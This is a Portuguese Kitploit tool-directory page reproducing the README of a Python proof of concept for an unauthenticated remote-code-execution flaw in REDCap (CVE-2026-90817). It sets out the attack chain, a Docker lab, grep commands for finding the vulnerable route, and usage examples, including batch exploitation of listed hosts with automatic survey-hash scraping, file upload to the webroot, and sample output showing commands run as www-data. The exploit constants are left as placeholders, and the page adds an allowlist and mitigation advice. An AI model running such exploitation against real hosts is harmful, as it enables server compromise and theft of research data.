Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-90817 — PoC em Python para CVE-2026-90817, um RCE não autenticado no REDCap via roteamento de passthrough de pesquisa e injeção de caminho de arquivo, com um laboratório Docker e alvos protegidos por allowlist. | Kitploit
Ferramentas/GitHubGitHub/exdev994/cve-2026-90817
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoRed TeamingFerramenta de Acesso RemotoDesenvolvimento de PayloadsLabs e Prática
GitHubexdev994/cve-2026-90817

CVE-2026-90817

PoC em Python para CVE-2026-90817, um RCE não autenticado no REDCap via roteamento de passthrough de pesquisa e injeção de caminho de arquivo, com um laboratório Docker e alvos protegidos por allowlist.

há 7h 50mAinda não revisado
Ver Repositório

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-90817 — PoC de RCE Não Autenticado no REDCap (Apenas Uso Autorizado)

APENAS USO AUTORIZADO. Você é responsável pela autorização legal de cada alvo. O uso não autorizado contra instâncias REDCap de terceiros é ilegal.

Resumo da Vulnerabilidade

CampoValor
CVECVE-2026-90817
ProdutoVanderbilt University REDCap
CVSS9.8 Crítico
AutenticaçãoNão autenticado (requer hash de pesquisa pública válido)
AfetadoREDCap 13.3.0 e superior
Corrigido16.0.49 LTS, 17.3.10 LTS, 17.4.4 Standard Release
CWECWE-73 (Controle Externo de Nome de Arquivo ou Caminho), CWE-94 (Injeção de Código)

Cadeia de ataque:

  1. Obter um hash de pesquisa pública válido de uma instância REDCap.
  2. Manipular requisições HTTP para alcançar uma rota de controller não intencional através do roteamento de passthrough de pesquisa.
  3. Fornecer um parâmetro de caminho de arquivo/stream manipulado durante o processamento de Importação de Dados.
  4. Alcançar execução remota de código no servidor REDCap.

Estrutura do Projeto

root@kitploit:~
CVE-2026-90817/
├── poc_cve_2026_90817.py   # PoC (alvo único, protegido por allowlist)
├── docker-compose.yml       # Stack de laboratório MySQL + PHP-Apache
├── redcap-init/
│   ├── database.php         # Configuração do BD REDCap para o laboratório
│   └── php.ini              # Configurações PHP para o laboratório
├── redcap-src/              # <-- extraia o código-fonte do REDCap aqui (você fornece)
├── targets.txt              # Alvos autorizados: um host por linha
├── payload.txt              # Arquivo de exemplo para o modo de upload
├── requirements.txt         # Dependências Python
└── poc_results.txt          # Gerado após a execução do PoC

Pré-requisitos

  • Docker e Docker Compose
  • Python 3.9+
  • Zip do código-fonte do REDCap (versão vulnerável, ex.: 14.x ou 15.x) do consórcio Vanderbilt REDCap

REDCap é software licenciado. Você deve obtê-lo através de canais oficiais para o seu próprio laboratório.

Configuração do Laboratório

1. Extrair o código-fonte do REDCap

root@kitploit:~
mkdir -p redcap-src
# Extract your redcap.zip contents into redcap-src/
# The directory should contain index.php, redcap_vX.X.X/, etc.

2. Iniciar o ambiente de laboratório

root@kitploit:~
docker compose up -d

Aguarde o healthcheck do MySQL passar, depois abra:

root@kitploit:~
http://localhost:8080

Complete o assistente de instalação do REDCap usando estas configurações de banco de dados (pré-configuradas em redcap-init/database.php):

ConfiguraçãoValor
Hostdb
Databaseredcap
Userredcap
Passwordredcap123

3. Criar uma pesquisa pública

  1. Faça login no REDCap como admin.
  2. Crie um novo projeto.
  3. Ative "Use surveys in this project".
  4. Abra o link da pesquisa pública e copie o hash da URL (parâmetro s=).

Exemplo de URL de pesquisa:

root@kitploit:~
http://localhost:8080/surveys/?s=ABC123XYZ

Hash da pesquisa: ABC123XYZ

Engenharia Reversa (preencha os placeholders)

O aviso público não divulga a rota exata do controller ou o nome do parâmetro. Após configurar seu laboratório, realize RE em redcap-src/ e preencha as constantes TODO em poc_cve_2026_90817.py:

root@kitploit:~
VULNERABLE_ROUTE = "TODO_CONTROLLER_ROUTE"   # controller route via survey passthrough
FILE_PATH_PARAM = "TODO_FILE_PATH_PARAM"     # file-path/stream parameter name
WEBROOT_PATH = "/var/www/html/redcap/"       # webroot inside container
UPLOADER_NAME = "x.php"                      # PHP uploader filename

Orientação para RE

Procure pelo roteamento de passthrough de pesquisa:

root@kitploit:~
grep -rn "passthrough\|survey.*route\|Routes::" redcap-src/ --include="*.php" | head -50
grep -rn "Controller" redcap-src/ --include="*.php" | grep -i "import\|survey" | head -50

Procure pelo tratamento de caminho de arquivo/stream na Importação de Dados:

root@kitploit:~
grep -rn "file_path\|file-path\|stream\|DataImport\|data_import" redcap-src/ --include="*.php" | head -50
grep -rn "fopen\|file_get_contents\|include\|require" redcap-src/ --include="*.php" | grep -i "import" | head -50

Defina STAGE1_SUCCESS_MARKER como uma string presente em uma resposta bem-sucedida do estágio 1 (opcional, mas recomendado).

Instalar dependências Python

root@kitploit:~
pip install -r requirements.txt

Executar o PoC

O script recusa alvos que não sejam hosts de laboratório (localhost, 127.0.0.1, ::1, *.local, *.test, *.localhost) nem listados em targets.txt.

Hash da pesquisa

CVE-2026-90817 é não autenticado — nenhum login é necessário. A única pré-condição é um hash de pesquisa pública válido (da URL de pesquisa ?s=HASH).

A ferramenta pode descobrir automaticamente o hash da pesquisa ao fazer scraping de páginas públicas do alvo (melhor esforço). Ela verifica endpoints comuns do REDCap (/, /redcap/, /index.php, /surveys/) em busca de links /surveys/?s=HASH. Isso só funciona se o alvo expõe publicamente links de pesquisa (mal configurado). Para instâncias REDCap configuradas corretamente, forneça o hash manualmente via --hash.

  • Modo de alvo único: --hash é opcional (descobre automaticamente se omitido)
  • Modo em lote: descobre automaticamente por alvo; alvos que não expõem links de pesquisa são ignorados

Alvos autorizados (não laboratório)

Para alvos que não são de laboratório, crie targets.txt com um host por linha (FQDN ou IP). Você é responsável pela autorização legal de cada host listado.

root@kitploit:~
# targets.txt
redcap.client.example.com
10.0.0.5
192.168.1.100

Exemplos

Alvo de laboratório com hash explícito:

root@kitploit:~
python poc_cve_2026_90817.py \
  --target http://localhost:8080 \
  --hash ABC123XYZ \
  --mode both \
  --out poc_results.txt

Alvo de laboratório com hash descoberto automaticamente:

root@kitploit:~
python poc_cve_2026_90817.py \
  --target http://localhost:8080 \
  --mode both \
  --out poc_results.txt

Modo em lote (iterar sobre todos os hosts em targets.txt)

Adicione --batch para explorar automaticamente cada host listado em targets.txt. A ferramenta descobre automaticamente o hash da pesquisa por alvo ao fazer scraping de páginas públicas. A ferramenta imprime todos os alvos e pede confirmação antes de iniciar (use --yes para pular o prompt em scripts).

root@kitploit:~
python poc_cve_2026_90817.py \
  --batch \
  --mode both \
  --out poc_results.txt

A porta é herdada de --target (padrão 8080). Para usar uma porta diferente, defina --target http://placeholder:443/ antes de --batch.

O resultado de cada alvo é anexado ao arquivo de saída. Um resumo é impresso no final: N success, M failed, T total.

Argumentos

ArgumentoPadrãoDescrição
--targethttp://localhost:8080URL base do alvo
--hash(opcional)Hash de pesquisa pública. Se omitido, descoberto automaticamente ao fazer scraping de páginas públicas (melhor esforço).
--allowlisttargets.txtArquivo de alvos, um host por linha
--batchdesligadoIterar sobre todos os hosts no arquivo de alvos e explorar cada um
--yesdesligadoPular o prompt de confirmação do lote
--modebothid, upload ou both
--outpoc_results.txtArquivo de log de resultados
--timeout30Timeout HTTP (segundos)
--upload-localpayload.txtArquivo local a enviar
--upload-remoteuploaded_payload.txtNome do arquivo remoto sob o webroot
--skip-placeholder-checkdesligadoExecução a seco do fluxo HTTP sem as constantes TODO preenchidas

Nota: a descoberta automática só funciona em alvos que expõem publicamente links de pesquisa. Para a maioria das instâncias REDCap, forneça --hash manualmente.

Saída esperada

Em caso de sucesso, o stdout mostra:

root@kitploit:~
[0xNuts] CVE-2026-90817 PoC -- AUTHORIZED USE ONLY
[0xNuts] You are responsible for legal authorization of every target.
[0xNuts] Using survey hash: ABC123XYZ
[0xNuts] Stage 1: route manipulation -> ...
[0xNuts] Stage 2: file-path injection -> ...
[0xNuts] id output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[0xNuts] uploaded to /var/www/html/redcap/uploaded_payload.txt
[0xNuts] Result logged to poc_results.txt

Os resultados são anexados a poc_results.txt:

root@kitploit:~
[2026-09-21T03:20:00Z]
target=http://localhost:8080/
survey_hash=ABC123XYZ
status=success
id_output=uid=33(www-data) gid=33(www-data) groups=33(www-data)
uploaded_files=/var/www/html/redcap/uploaded_payload.txt
notes=mode=both
------------------------------------------------------------

Mitigação

Atualize para REDCap 16.0.49 LTS, 17.3.10 LTS ou 17.4.4 Standard Release (conforme aplicável).

Endurecimento adicional:

  • Restrinja a exposição de pesquisas públicas onde não for necessário.
  • Monitore requisições HTTP direcionadas a rotas de pesquisa e endpoints de importação de dados.
  • Revise a validação do lado do servidor de parâmetros de caminho de arquivo/stream em manipuladores de importação.

Referências

  • CVE-2026-90817 (CVE.org)
  • Securifera Advisories
  • Descobridor: Ryan Wincey (@rwincey, Securifera)
Baixar ferramenta